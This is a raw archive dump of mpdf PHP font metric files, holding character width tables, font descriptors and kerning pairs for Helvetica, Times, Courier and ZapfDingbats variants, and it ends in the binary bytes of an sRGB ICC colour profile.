chr(210) => 790, chr(211) => 790, chr(212) => 890, chr(213) => 823, chr(214) => 549, chr(215) => 250, chr(216) => 713, chr(217) => 603, chr(218) => 603, chr(219) => 1042, chr(220) => 987, chr(221) => 603, chr(222) => 987, chr(223) => 603, chr(224) => 494, chr(225) => 329, chr(226) => 790, chr(227) => 790, chr(228) => 786, chr(229) => 713, chr(230) => 384, chr(231) => 384, chr(232) => 384, chr(233) => 384, chr(234) => 384, chr(235) => 384, chr(236) => 494, chr(237) => 494, chr(238) => 494, chr(239) => 494, chr(240) => 0, chr(241) => 329, chr(242) => 274, chr(243) => 686, chr(244) => 686, chr(245) => 686, chr(246) => 384, chr(247) => 384, chr(248) => 384, chr(249) => 384, chr(250) => 384, chr(251) => 384, chr(252) => 494, chr(253) => 494, chr(254) => 494, chr(255) => 0); //$desc=array('FontBBox'=>'[-180 -293 1090 1010]'); $desc = array('Flags' => 4, 'FontBBox' => '[-180 -293 1090 1010]', 'ItalicAngle' => 0, 'Ascent' => 1010, 'Descent' => -293, 'Leading' => 0, 'CapHeight' => 1010, 'StemV' => 85, 'StemH' => 92, 'AvgWidth' => 587, 'MaxWidth' => 1042, 'MissingWidth' => 587); $up = -100; $ut = 50; vendor/mpdf/mpdf/data/font/chelveticai.php000064400000013515147600022140014566 0ustar00 278, chr(1) => 278, chr(2) => 278, chr(3) => 278, chr(4) => 278, chr(5) => 278, chr(6) => 278, chr(7) => 278, chr(8) => 278, chr(9) => 278, chr(10) => 278, chr(11) => 278, chr(12) => 278, chr(13) => 278, chr(14) => 278, chr(15) => 278, chr(16) => 278, chr(17) => 278, chr(18) => 278, chr(19) => 278, chr(20) => 278, chr(21) => 278, chr(22) => 278, chr(23) => 278, chr(24) => 278, chr(25) => 278, chr(26) => 278, chr(27) => 278, chr(28) => 278, chr(29) => 278, chr(30) => 278, chr(31) => 278, ' ' => 278, '!' => 278, '"' => 355, '#' => 556, '$' => 556, '%' => 889, '&' => 667, '\'' => 191, '(' => 333, ')' => 333, '*' => 389, '+' => 584, ',' => 278, '-' => 333, '.' => 278, '/' => 278, '0' => 556, '1' => 556, '2' => 556, '3' => 556, '4' => 556, '5' => 556, '6' => 556, '7' => 556, '8' => 556, '9' => 556, ':' => 278, ';' => 278, '<' => 584, '=' => 584, '>' => 584, '?' => 556, '@' => 1015, 'A' => 667, 'B' => 667, 'C' => 722, 'D' => 722, 'E' => 667, 'F' => 611, 'G' => 778, 'H' => 722, 'I' => 278, 'J' => 500, 'K' => 667, 'L' => 556, 'M' => 833, 'N' => 722, 'O' => 778, 'P' => 667, 'Q' => 778, 'R' => 722, 'S' => 667, 'T' => 611, 'U' => 722, 'V' => 667, 'W' => 944, 'X' => 667, 'Y' => 667, 'Z' => 611, '[' => 278, '\\' => 278, ']' => 278, '^' => 469, '_' => 556, '`' => 333, 'a' => 556, 'b' => 556, 'c' => 500, 'd' => 556, 'e' => 556, 'f' => 278, 'g' => 556, 'h' => 556, 'i' => 222, 'j' => 222, 'k' => 500, 'l' => 222, 'm' => 833, 'n' => 556, 'o' => 556, 'p' => 556, 'q' => 556, 'r' => 333, 's' => 500, 't' => 278, 'u' => 556, 'v' => 500, 'w' => 722, 'x' => 500, 'y' => 500, 'z' => 500, '{' => 334, '|' => 260, '}' => 334, '~' => 584, chr(127) => 350, chr(128) => 556, chr(129) => 350, chr(130) => 222, chr(131) => 556, chr(132) => 333, chr(133) => 1000, chr(134) => 556, chr(135) => 556, chr(136) => 333, chr(137) => 1000, chr(138) => 667, chr(139) => 333, chr(140) => 1000, chr(141) => 350, chr(142) => 611, chr(143) => 350, chr(144) => 350, chr(145) => 222, chr(146) => 222, chr(147) => 333, chr(148) => 333, chr(149) => 350, chr(150) => 556, chr(151) => 1000, chr(152) => 333, chr(153) => 1000, chr(154) => 500, chr(155) => 333, chr(156) => 944, chr(157) => 350, chr(158) => 500, chr(159) => 667, chr(160) => 278, chr(161) => 333, chr(162) => 556, chr(163) => 556, chr(164) => 556, chr(165) => 556, chr(166) => 260, chr(167) => 556, chr(168) => 333, chr(169) => 737, chr(170) => 370, chr(171) => 556, chr(172) => 584, chr(173) => 333, chr(174) => 737, chr(175) => 333, chr(176) => 400, chr(177) => 584, chr(178) => 333, chr(179) => 333, chr(180) => 333, chr(181) => 556, chr(182) => 537, chr(183) => 278, chr(184) => 333, chr(185) => 333, chr(186) => 365, chr(187) => 556, chr(188) => 834, chr(189) => 834, chr(190) => 834, chr(191) => 611, chr(192) => 667, chr(193) => 667, chr(194) => 667, chr(195) => 667, chr(196) => 667, chr(197) => 667, chr(198) => 1000, chr(199) => 722, chr(200) => 667, chr(201) => 667, chr(202) => 667, chr(203) => 667, chr(204) => 278, chr(205) => 278, chr(206) => 278, chr(207) => 278, chr(208) => 722, chr(209) => 722, chr(210) => 778, chr(211) => 778, chr(212) => 778, chr(213) => 778, chr(214) => 778, chr(215) => 584, chr(216) => 778, chr(217) => 722, chr(218) => 722, chr(219) => 722, chr(220) => 722, chr(221) => 667, chr(222) => 667, chr(223) => 611, chr(224) => 556, chr(225) => 556, chr(226) => 556, chr(227) => 556, chr(228) => 556, chr(229) => 556, chr(230) => 889, chr(231) => 500, chr(232) => 556, chr(233) => 556, chr(234) => 556, chr(235) => 556, chr(236) => 278, chr(237) => 278, chr(238) => 278, chr(239) => 278, chr(240) => 556, chr(241) => 556, chr(242) => 556, chr(243) => 556, chr(244) => 556, chr(245) => 556, chr(246) => 556, chr(247) => 584, chr(248) => 611, chr(249) => 556, chr(250) => 556, chr(251) => 556, chr(252) => 556, chr(253) => 500, chr(254) => 556, chr(255) => 500); //$desc=array('Ascent'=>718,'Descent'=>-207,'CapHeight'=>718,'FontBBox'=>'[-170 -225 1116 931]'); $desc = array('Flags' => 96, 'FontBBox' => '[-170 -225 1116 931]', 'ItalicAngle' => -12, 'Ascent' => 931, 'Descent' => -225, 'Leading' => 0, 'CapHeight' => 718, 'XHeight' => 523, 'StemV' => 88, 'StemH' => 76, 'AvgWidth' => 513, 'MaxWidth' => 1015, 'MissingWidth' => 513); $up = -100; $ut = 50; $kerninfo = array(chr(49) => array(chr(49) => -74,), chr(65) => array(chr(84) => -74, chr(86) => -55, chr(87) => -18, chr(89) => -74, chr(118) => -18, chr(119) => -18, chr(121) => -8, chr(146) => -37,), chr(70) => array(chr(44) => -128, chr(46) => -128, chr(65) => -74,), chr(76) => array(chr(84) => -74, chr(86) => -55, chr(87) => -37, chr(89) => -91, chr(121) => -18, chr(146) => -55,), chr(80) => array(chr(44) => -128, chr(46) => -128, chr(65) => -74,), chr(82) => array(chr(84) => -18, chr(86) => -18, chr(87) => -18, chr(89) => -37,), chr(84) => array(chr(44) => -91, chr(46) => -91, chr(58) => -74, chr(65) => -74, chr(79) => -18, chr(97) => -91, chr(99) => -91, chr(101) => -91, chr(105) => -8, chr(111) => -91, chr(114) => -74, chr(115) => -91, chr(117) => -74, chr(119) => -74, chr(121) => -74,), chr(86) => array(chr(44) => -74, chr(46) => -74, chr(58) => -18, chr(65) => -55, chr(97) => -37, chr(101) => -37, chr(105) => -18, chr(111) => -37, chr(114) => -18, chr(117) => -18, chr(121) => -18,), chr(87) => array(chr(44) => -37, chr(46) => -37, chr(65) => -18, chr(97) => -18, chr(101) => -18, chr(105) => -8,), chr(89) => array(chr(44) => -91, chr(46) => -91, chr(58) => -37, chr(65) => -55, chr(97) => -74, chr(101) => -55, chr(105) => -18, chr(111) => -55, chr(112) => -55, chr(113) => -55, chr(117) => -37, chr(118) => -37,), chr(102) => array(chr(146) => 37,), chr(114) => array(chr(44) => -55, chr(46) => -37, chr(146) => 37,), chr(118) => array(chr(44) => -74, chr(46) => -74,), chr(119) => array(chr(44) => -55, chr(46) => -55,), chr(121) => array(chr(44) => -74, chr(46) => -74,), chr(145) => array(chr(145) => -37,), chr(146) => array(chr(115) => -18, chr(146) => -37,),); vendor/mpdf/mpdf/data/font/czapfdingbats.php000064400000007762147600022140015134 0ustar00 0, chr(1) => 0, chr(2) => 0, chr(3) => 0, chr(4) => 0, chr(5) => 0, chr(6) => 0, chr(7) => 0, chr(8) => 0, chr(9) => 0, chr(10) => 0, chr(11) => 0, chr(12) => 0, chr(13) => 0, chr(14) => 0, chr(15) => 0, chr(16) => 0, chr(17) => 0, chr(18) => 0, chr(19) => 0, chr(20) => 0, chr(21) => 0, chr(22) => 0, chr(23) => 0, chr(24) => 0, chr(25) => 0, chr(26) => 0, chr(27) => 0, chr(28) => 0, chr(29) => 0, chr(30) => 0, chr(31) => 0, ' ' => 278, '!' => 974, '"' => 961, '#' => 974, '$' => 980, '%' => 719, '&' => 789, '\'' => 790, '(' => 791, ')' => 690, '*' => 960, '+' => 939, ',' => 549, '-' => 855, '.' => 911, '/' => 933, '0' => 911, '1' => 945, '2' => 974, '3' => 755, '4' => 846, '5' => 762, '6' => 761, '7' => 571, '8' => 677, '9' => 763, ':' => 760, ';' => 759, '<' => 754, '=' => 494, '>' => 552, '?' => 537, '@' => 577, 'A' => 692, 'B' => 786, 'C' => 788, 'D' => 788, 'E' => 790, 'F' => 793, 'G' => 794, 'H' => 816, 'I' => 823, 'J' => 789, 'K' => 841, 'L' => 823, 'M' => 833, 'N' => 816, 'O' => 831, 'P' => 923, 'Q' => 744, 'R' => 723, 'S' => 749, 'T' => 790, 'U' => 792, 'V' => 695, 'W' => 776, 'X' => 768, 'Y' => 792, 'Z' => 759, '[' => 707, '\\' => 708, ']' => 682, '^' => 701, '_' => 826, '`' => 815, 'a' => 789, 'b' => 789, 'c' => 707, 'd' => 687, 'e' => 696, 'f' => 689, 'g' => 786, 'h' => 787, 'i' => 713, 'j' => 791, 'k' => 785, 'l' => 791, 'm' => 873, 'n' => 761, 'o' => 762, 'p' => 762, 'q' => 759, 'r' => 759, 's' => 892, 't' => 892, 'u' => 788, 'v' => 784, 'w' => 438, 'x' => 138, 'y' => 277, 'z' => 415, '{' => 392, '|' => 392, '}' => 668, '~' => 668, chr(127) => 0, chr(128) => 390, chr(129) => 390, chr(130) => 317, chr(131) => 317, chr(132) => 276, chr(133) => 276, chr(134) => 509, chr(135) => 509, chr(136) => 410, chr(137) => 410, chr(138) => 234, chr(139) => 234, chr(140) => 334, chr(141) => 334, chr(142) => 0, chr(143) => 0, chr(144) => 0, chr(145) => 0, chr(146) => 0, chr(147) => 0, chr(148) => 0, chr(149) => 0, chr(150) => 0, chr(151) => 0, chr(152) => 0, chr(153) => 0, chr(154) => 0, chr(155) => 0, chr(156) => 0, chr(157) => 0, chr(158) => 0, chr(159) => 0, chr(160) => 0, chr(161) => 732, chr(162) => 544, chr(163) => 544, chr(164) => 910, chr(165) => 667, chr(166) => 760, chr(167) => 760, chr(168) => 776, chr(169) => 595, chr(170) => 694, chr(171) => 626, chr(172) => 788, chr(173) => 788, chr(174) => 788, chr(175) => 788, chr(176) => 788, chr(177) => 788, chr(178) => 788, chr(179) => 788, chr(180) => 788, chr(181) => 788, chr(182) => 788, chr(183) => 788, chr(184) => 788, chr(185) => 788, chr(186) => 788, chr(187) => 788, chr(188) => 788, chr(189) => 788, chr(190) => 788, chr(191) => 788, chr(192) => 788, chr(193) => 788, chr(194) => 788, chr(195) => 788, chr(196) => 788, chr(197) => 788, chr(198) => 788, chr(199) => 788, chr(200) => 788, chr(201) => 788, chr(202) => 788, chr(203) => 788, chr(204) => 788, chr(205) => 788, chr(206) => 788, chr(207) => 788, chr(208) => 788, chr(209) => 788, chr(210) => 788, chr(211) => 788, chr(212) => 894, chr(213) => 838, chr(214) => 1016, chr(215) => 458, chr(216) => 748, chr(217) => 924, chr(218) => 748, chr(219) => 918, chr(220) => 927, chr(221) => 928, chr(222) => 928, chr(223) => 834, chr(224) => 873, chr(225) => 828, chr(226) => 924, chr(227) => 924, chr(228) => 917, chr(229) => 930, chr(230) => 931, chr(231) => 463, chr(232) => 883, chr(233) => 836, chr(234) => 836, chr(235) => 867, chr(236) => 867, chr(237) => 696, chr(238) => 696, chr(239) => 874, chr(240) => 0, chr(241) => 874, chr(242) => 760, chr(243) => 946, chr(244) => 771, chr(245) => 865, chr(246) => 771, chr(247) => 888, chr(248) => 967, chr(249) => 888, chr(250) => 831, chr(251) => 873, chr(252) => 927, chr(253) => 970, chr(254) => 918, chr(255) => 0); //$desc=array('FontBBox'=>'[-1 -143 981 820]'); $desc = array('Flags' => 4, 'FontBBox' => '[-1 -143 981 820]', 'ItalicAngle' => 0, 'Ascent' => 820, 'Descent' => -143, 'Leading' => 0, 'CapHeight' => 820, 'StemV' => 90, 'StemH' => 28, 'AvgWidth' => 746, 'MaxWidth' => 1016, 'MissingWidth' => 746); $up = -100; $ut = 50; vendor/mpdf/mpdf/data/font/ctimesi.php000064400000014275147600022140013747 0ustar00 250, chr(1) => 250, chr(2) => 250, chr(3) => 250, chr(4) => 250, chr(5) => 250, chr(6) => 250, chr(7) => 250, chr(8) => 250, chr(9) => 250, chr(10) => 250, chr(11) => 250, chr(12) => 250, chr(13) => 250, chr(14) => 250, chr(15) => 250, chr(16) => 250, chr(17) => 250, chr(18) => 250, chr(19) => 250, chr(20) => 250, chr(21) => 250, chr(22) => 250, chr(23) => 250, chr(24) => 250, chr(25) => 250, chr(26) => 250, chr(27) => 250, chr(28) => 250, chr(29) => 250, chr(30) => 250, chr(31) => 250, ' ' => 250, '!' => 333, '"' => 420, '#' => 500, '$' => 500, '%' => 833, '&' => 778, '\'' => 214, '(' => 333, ')' => 333, '*' => 500, '+' => 675, ',' => 250, '-' => 333, '.' => 250, '/' => 278, '0' => 500, '1' => 500, '2' => 500, '3' => 500, '4' => 500, '5' => 500, '6' => 500, '7' => 500, '8' => 500, '9' => 500, ':' => 333, ';' => 333, '<' => 675, '=' => 675, '>' => 675, '?' => 500, '@' => 920, 'A' => 611, 'B' => 611, 'C' => 667, 'D' => 722, 'E' => 611, 'F' => 611, 'G' => 722, 'H' => 722, 'I' => 333, 'J' => 444, 'K' => 667, 'L' => 556, 'M' => 833, 'N' => 667, 'O' => 722, 'P' => 611, 'Q' => 722, 'R' => 611, 'S' => 500, 'T' => 556, 'U' => 722, 'V' => 611, 'W' => 833, 'X' => 611, 'Y' => 556, 'Z' => 556, '[' => 389, '\\' => 278, ']' => 389, '^' => 422, '_' => 500, '`' => 333, 'a' => 500, 'b' => 500, 'c' => 444, 'd' => 500, 'e' => 444, 'f' => 278, 'g' => 500, 'h' => 500, 'i' => 278, 'j' => 278, 'k' => 444, 'l' => 278, 'm' => 722, 'n' => 500, 'o' => 500, 'p' => 500, 'q' => 500, 'r' => 389, 's' => 389, 't' => 278, 'u' => 500, 'v' => 444, 'w' => 667, 'x' => 444, 'y' => 444, 'z' => 389, '{' => 400, '|' => 275, '}' => 400, '~' => 541, chr(127) => 350, chr(128) => 500, chr(129) => 350, chr(130) => 333, chr(131) => 500, chr(132) => 556, chr(133) => 889, chr(134) => 500, chr(135) => 500, chr(136) => 333, chr(137) => 1000, chr(138) => 500, chr(139) => 333, chr(140) => 944, chr(141) => 350, chr(142) => 556, chr(143) => 350, chr(144) => 350, chr(145) => 333, chr(146) => 333, chr(147) => 556, chr(148) => 556, chr(149) => 350, chr(150) => 500, chr(151) => 889, chr(152) => 333, chr(153) => 980, chr(154) => 389, chr(155) => 333, chr(156) => 667, chr(157) => 350, chr(158) => 389, chr(159) => 556, chr(160) => 250, chr(161) => 389, chr(162) => 500, chr(163) => 500, chr(164) => 500, chr(165) => 500, chr(166) => 275, chr(167) => 500, chr(168) => 333, chr(169) => 760, chr(170) => 276, chr(171) => 500, chr(172) => 675, chr(173) => 333, chr(174) => 760, chr(175) => 333, chr(176) => 400, chr(177) => 675, chr(178) => 300, chr(179) => 300, chr(180) => 333, chr(181) => 500, chr(182) => 523, chr(183) => 250, chr(184) => 333, chr(185) => 300, chr(186) => 310, chr(187) => 500, chr(188) => 750, chr(189) => 750, chr(190) => 750, chr(191) => 500, chr(192) => 611, chr(193) => 611, chr(194) => 611, chr(195) => 611, chr(196) => 611, chr(197) => 611, chr(198) => 889, chr(199) => 667, chr(200) => 611, chr(201) => 611, chr(202) => 611, chr(203) => 611, chr(204) => 333, chr(205) => 333, chr(206) => 333, chr(207) => 333, chr(208) => 722, chr(209) => 667, chr(210) => 722, chr(211) => 722, chr(212) => 722, chr(213) => 722, chr(214) => 722, chr(215) => 675, chr(216) => 722, chr(217) => 722, chr(218) => 722, chr(219) => 722, chr(220) => 722, chr(221) => 556, chr(222) => 611, chr(223) => 500, chr(224) => 500, chr(225) => 500, chr(226) => 500, chr(227) => 500, chr(228) => 500, chr(229) => 500, chr(230) => 667, chr(231) => 444, chr(232) => 444, chr(233) => 444, chr(234) => 444, chr(235) => 444, chr(236) => 278, chr(237) => 278, chr(238) => 278, chr(239) => 278, chr(240) => 500, chr(241) => 500, chr(242) => 500, chr(243) => 500, chr(244) => 500, chr(245) => 500, chr(246) => 500, chr(247) => 675, chr(248) => 500, chr(249) => 500, chr(250) => 500, chr(251) => 500, chr(252) => 500, chr(253) => 444, chr(254) => 500, chr(255) => 444); //$desc=array('Ascent'=>683,'Descent'=>-217,'CapHeight'=>653,'FontBBox'=>'[-169 -217 1010 883]'); $desc = array('Flags' => 96, 'FontBBox' => '[-169 -217 1010 883]', 'ItalicAngle' => -15.5, 'Ascent' => 883, 'Descent' => -217, 'Leading' => 0, 'CapHeight' => 653, 'XHeight' => 441, 'StemV' => 76, 'StemH' => 32, 'AvgWidth' => 491, 'MaxWidth' => 1000, 'MissingWidth' => 491); $up = -100; $ut = 50; $kerninfo = array(chr(49) => array(chr(49) => -74,), chr(65) => array(chr(84) => -37, chr(86) => -49, chr(87) => -37, chr(89) => -55, chr(118) => -55, chr(119) => -55, chr(121) => -55, chr(146) => -37,), chr(70) => array(chr(44) => -128, chr(46) => -128, chr(65) => -128,), chr(76) => array(chr(84) => -20, chr(86) => -37, chr(87) => -37, chr(89) => -20, chr(121) => -29, chr(146) => -37,), chr(80) => array(chr(44) => -128, chr(46) => -128, chr(65) => -128,), chr(82) => array(chr(84) => 0, chr(86) => -18, chr(87) => -18, chr(89) => -18, chr(121) => -18,), chr(84) => array(chr(44) => -74, chr(46) => -74, chr(58) => -55, chr(65) => -74, chr(79) => -18, chr(97) => -91, chr(99) => -91, chr(101) => -91, chr(105) => -55, chr(111) => -91, chr(114) => -55, chr(115) => -91, chr(117) => -55, chr(119) => -74, chr(121) => -74,), chr(86) => array(chr(44) => -128, chr(46) => -128, chr(58) => -64, chr(65) => -74, chr(79) => -29, chr(97) => -110, chr(101) => -110, chr(105) => -74, chr(111) => -110, chr(114) => -74, chr(117) => -74, chr(121) => -91,), chr(87) => array(chr(44) => -91, chr(46) => -91, chr(58) => -64, chr(65) => -69, chr(97) => -91, chr(101) => -91, chr(105) => -55, chr(111) => -91, chr(114) => -55, chr(117) => -55, chr(121) => -91,), chr(89) => array(chr(44) => -91, chr(46) => -91, chr(58) => -64, chr(65) => -69, chr(97) => -91, chr(101) => -91, chr(105) => -74, chr(111) => -91, chr(112) => -91, chr(113) => -110, chr(117) => -91, chr(118) => -91,), chr(102) => array(chr(146) => 91,), chr(114) => array(chr(44) => -110, chr(46) => -110, chr(99) => -37, chr(100) => -37, chr(101) => -37, chr(103) => -37, chr(104) => -18, chr(111) => -37, chr(113) => -37, chr(114) => 0, chr(116) => 0, chr(117) => 0, chr(118) => 0, chr(119) => 0, chr(120) => 0, chr(121) => 0, chr(146) => 37,), chr(118) => array(chr(44) => -74, chr(46) => -74,), chr(119) => array(chr(44) => -74, chr(46) => -74,), chr(121) => array(chr(44) => -55, chr(46) => -55,), chr(145) => array(chr(145) => -110,), chr(146) => array(chr(115) => -128, chr(116) => -110, chr(146) => -110,),); vendor/mpdf/mpdf/data/font/ccourierbi.php000064400000000677147600022140014441 0ustar00629,'Descent'=>-157,'CapHeight'=>562,'FontBBox'=>'[-57 -250 869 801]'); $desc = array('Flags' => 97, 'FontBBox' => '[-57 -250 869 801]', 'ItalicAngle' => -12, 'Ascent' => 801, 'Descent' => -250, 'Leading' => 0, 'CapHeight' => 562, 'XHeight' => 439, 'StemV' => 106, 'StemH' => 84, 'AvgWidth' => 600, 'MaxWidth' => 600, 'MissingWidth' => 600); $up = -100; $ut = 50; vendor/mpdf/mpdf/data/font/ccourierb.php000064400000000677147600022140014270 0ustar00629,'Descent'=>-157,'CapHeight'=>562,'FontBBox'=>'[-113 -250 749 801]'); $desc = array('Flags' => 33, 'FontBBox' => '[-113 -250 749 801]', 'ItalicAngle' => 0, 'Ascent' => 801, 'Descent' => -250, 'Leading' => 0, 'CapHeight' => 562, 'XHeight' => 439, 'StemV' => 106, 'StemH' => 84, 'AvgWidth' => 600, 'MaxWidth' => 600, 'MissingWidth' => 600); $up = -100; $ut = 50; vendor/mpdf/mpdf/data/font/ccourier.php000064400000000674147600022140014123 0ustar00629,'Descent'=>-157,'CapHeight'=>562,'FontBBox'=>'[-23 -250 715 805]'); $desc = array('Flags' => 33, 'FontBBox' => '[-23 -250 715 805]', 'ItalicAngle' => 0, 'Ascent' => 805, 'Descent' => -250, 'Leading' => 0, 'CapHeight' => 562, 'XHeight' => 426, 'StemV' => 51, 'StemH' => 51, 'AvgWidth' => 600, 'MaxWidth' => 600, 'MissingWidth' => 600); $up = -100; $ut = 50; vendor/mpdf/mpdf/data/font/chelveticabi.php000064400000013561147600022140014731 0ustar00 278, chr(1) => 278, chr(2) => 278, chr(3) => 278, chr(4) => 278, chr(5) => 278, chr(6) => 278, chr(7) => 278, chr(8) => 278, chr(9) => 278, chr(10) => 278, chr(11) => 278, chr(12) => 278, chr(13) => 278, chr(14) => 278, chr(15) => 278, chr(16) => 278, chr(17) => 278, chr(18) => 278, chr(19) => 278, chr(20) => 278, chr(21) => 278, chr(22) => 278, chr(23) => 278, chr(24) => 278, chr(25) => 278, chr(26) => 278, chr(27) => 278, chr(28) => 278, chr(29) => 278, chr(30) => 278, chr(31) => 278, ' ' => 278, '!' => 333, '"' => 474, '#' => 556, '$' => 556, '%' => 889, '&' => 722, '\'' => 238, '(' => 333, ')' => 333, '*' => 389, '+' => 584, ',' => 278, '-' => 333, '.' => 278, '/' => 278, '0' => 556, '1' => 556, '2' => 556, '3' => 556, '4' => 556, '5' => 556, '6' => 556, '7' => 556, '8' => 556, '9' => 556, ':' => 333, ';' => 333, '<' => 584, '=' => 584, '>' => 584, '?' => 611, '@' => 975, 'A' => 722, 'B' => 722, 'C' => 722, 'D' => 722, 'E' => 667, 'F' => 611, 'G' => 778, 'H' => 722, 'I' => 278, 'J' => 556, 'K' => 722, 'L' => 611, 'M' => 833, 'N' => 722, 'O' => 778, 'P' => 667, 'Q' => 778, 'R' => 722, 'S' => 667, 'T' => 611, 'U' => 722, 'V' => 667, 'W' => 944, 'X' => 667, 'Y' => 667, 'Z' => 611, '[' => 333, '\\' => 278, ']' => 333, '^' => 584, '_' => 556, '`' => 333, 'a' => 556, 'b' => 611, 'c' => 556, 'd' => 611, 'e' => 556, 'f' => 333, 'g' => 611, 'h' => 611, 'i' => 278, 'j' => 278, 'k' => 556, 'l' => 278, 'm' => 889, 'n' => 611, 'o' => 611, 'p' => 611, 'q' => 611, 'r' => 389, 's' => 556, 't' => 333, 'u' => 611, 'v' => 556, 'w' => 778, 'x' => 556, 'y' => 556, 'z' => 500, '{' => 389, '|' => 280, '}' => 389, '~' => 584, chr(127) => 350, chr(128) => 556, chr(129) => 350, chr(130) => 278, chr(131) => 556, chr(132) => 500, chr(133) => 1000, chr(134) => 556, chr(135) => 556, chr(136) => 333, chr(137) => 1000, chr(138) => 667, chr(139) => 333, chr(140) => 1000, chr(141) => 350, chr(142) => 611, chr(143) => 350, chr(144) => 350, chr(145) => 278, chr(146) => 278, chr(147) => 500, chr(148) => 500, chr(149) => 350, chr(150) => 556, chr(151) => 1000, chr(152) => 333, chr(153) => 1000, chr(154) => 556, chr(155) => 333, chr(156) => 944, chr(157) => 350, chr(158) => 500, chr(159) => 667, chr(160) => 278, chr(161) => 333, chr(162) => 556, chr(163) => 556, chr(164) => 556, chr(165) => 556, chr(166) => 280, chr(167) => 556, chr(168) => 333, chr(169) => 737, chr(170) => 370, chr(171) => 556, chr(172) => 584, chr(173) => 333, chr(174) => 737, chr(175) => 333, chr(176) => 400, chr(177) => 584, chr(178) => 333, chr(179) => 333, chr(180) => 333, chr(181) => 611, chr(182) => 556, chr(183) => 278, chr(184) => 333, chr(185) => 333, chr(186) => 365, chr(187) => 556, chr(188) => 834, chr(189) => 834, chr(190) => 834, chr(191) => 611, chr(192) => 722, chr(193) => 722, chr(194) => 722, chr(195) => 722, chr(196) => 722, chr(197) => 722, chr(198) => 1000, chr(199) => 722, chr(200) => 667, chr(201) => 667, chr(202) => 667, chr(203) => 667, chr(204) => 278, chr(205) => 278, chr(206) => 278, chr(207) => 278, chr(208) => 722, chr(209) => 722, chr(210) => 778, chr(211) => 778, chr(212) => 778, chr(213) => 778, chr(214) => 778, chr(215) => 584, chr(216) => 778, chr(217) => 722, chr(218) => 722, chr(219) => 722, chr(220) => 722, chr(221) => 667, chr(222) => 667, chr(223) => 611, chr(224) => 556, chr(225) => 556, chr(226) => 556, chr(227) => 556, chr(228) => 556, chr(229) => 556, chr(230) => 889, chr(231) => 556, chr(232) => 556, chr(233) => 556, chr(234) => 556, chr(235) => 556, chr(236) => 278, chr(237) => 278, chr(238) => 278, chr(239) => 278, chr(240) => 611, chr(241) => 611, chr(242) => 611, chr(243) => 611, chr(244) => 611, chr(245) => 611, chr(246) => 611, chr(247) => 584, chr(248) => 611, chr(249) => 611, chr(250) => 611, chr(251) => 611, chr(252) => 611, chr(253) => 556, chr(254) => 611, chr(255) => 556); //$desc=array('Ascent'=>718,'Descent'=>-207,'CapHeight'=>718,'FontBBox'=>'[-174 -228 1114 962]'); $desc = array('Flags' => 96, 'FontBBox' => '[-174 -228 1114 962]', 'ItalicAngle' => -12, 'Ascent' => 962, 'Descent' => -228, 'Leading' => 0, 'CapHeight' => 718, 'XHeight' => 532, 'StemV' => 140, 'StemH' => 118, 'AvgWidth' => 535, 'MaxWidth' => 1000, 'MissingWidth' => 535); $up = -100; $ut = 50; $kerninfo = array(chr(49) => array(chr(49) => -74,), chr(65) => array(chr(84) => -74, chr(86) => -74, chr(87) => -55, chr(89) => -74, chr(146) => -55,), chr(70) => array(chr(44) => -110, chr(46) => -110, chr(65) => -55,), chr(76) => array(chr(84) => -74, chr(86) => -55, chr(87) => -55, chr(89) => -74, chr(146) => -74,), chr(80) => array(chr(44) => -128, chr(46) => -128, chr(65) => -74,), chr(82) => array(chr(84) => -18, chr(87) => -18, chr(89) => -18,), chr(84) => array(chr(44) => -74, chr(46) => -74, chr(58) => -74, chr(65) => -74, chr(79) => -18, chr(97) => -37, chr(99) => -37, chr(101) => -37, chr(105) => -18, chr(111) => -37, chr(114) => -18, chr(115) => -37, chr(117) => -18, chr(119) => -37, chr(121) => -37,), chr(86) => array(chr(44) => -91, chr(46) => -91, chr(58) => -37, chr(65) => -74, chr(97) => -37, chr(101) => -37, chr(105) => -37, chr(111) => -37, chr(114) => -18, chr(117) => -18, chr(121) => -18,), chr(87) => array(chr(44) => -74, chr(46) => -74, chr(58) => -37, chr(65) => -55, chr(97) => -18, chr(101) => -18, chr(105) => -8, chr(111) => -18, chr(114) => -18, chr(117) => -18, chr(121) => -18,), chr(89) => array(chr(44) => -91, chr(46) => -91, chr(58) => -55, chr(65) => -74, chr(97) => -37, chr(101) => -37, chr(105) => -37, chr(111) => -37, chr(112) => -37, chr(113) => -37, chr(117) => -37, chr(118) => -37,), chr(102) => array(chr(102) => -18, chr(146) => 18,), chr(114) => array(chr(44) => -55, chr(46) => -55, chr(146) => 37,), chr(118) => array(chr(44) => -55, chr(46) => -55,), chr(119) => array(chr(44) => -37, chr(46) => -37,), chr(121) => array(chr(44) => -37, chr(46) => -37,), chr(145) => array(chr(145) => -37,), chr(146) => array(chr(115) => -18, chr(116) => 18, chr(146) => -37,),); vendor/mpdf/mpdf/data/iccprofiles/sRGB_IEC61966-2-1.icc000064400000005754147600022140016005 0ustar00 ìmntrRGB XYZ Ù%-acspöÖÓ-É[Ö7é]Š; ó™Á2‰descD}bXYZÄbTRCØ dmdd äˆgXYZ lgTRCØ lumi €meas ”$bkpt ¸rXYZ ÌrTRCØ tech à vued ì‡wtpt tcprt ˆ7chad À,desc#sRGB IEC61966-2-1 no black scalingXYZ $ „¶Ïcurv38=BGLQV[`eimrw|†‹•šŸ¤©®³¸¼ÁÆËÐÕÚßãèíò÷ü  &+17=CIOUZagmt{ˆ–¤ª±¹ÀÈÏ×ßçïöþ'09AIR[dmw€‰’œ¥¯¹ÃÍ×áëõÿ *4?JValx‚Žš¦²¾ÊÕáîú,9FSamzˆ–£±¾ÌÚè÷!0?N\kz‰™§·ÇÖæö   & 6 G V g x ‰ ™ ª » Í Þ î  $ 5 G Y k } ¡ ´ Ç Ù ì ÿ  $ 8 K _ r † š ® Á Õ é þ  & ; P d y Ž ¤ ¸ Î ã ù  $ : O f | “ © ¿ Ö ì2H`xŽ¦¾Õî6Oh€™²Êãý/Ib|–°Êåþ4Ni„ŸºÖñ (C`|—´Ðì &B`|™·Ôò-Kh‡¥Ãâ>\|›ºÚù9Xx˜¹Ùù;\|ž¿à#Eg‰«Íð5WzÀä*Mq•¹Ý&Jo“¹Ý'Mr˜½ä 0V|£Éñ?e´Ü+S{£Ìô  E n — ¿ é!!>[>š>×??S?’?Ð@@M@Œ@ÌA AJAŠAÉB BIB‰BÉC CKCŒCÌD DNDDÑEETE–EØFF]F 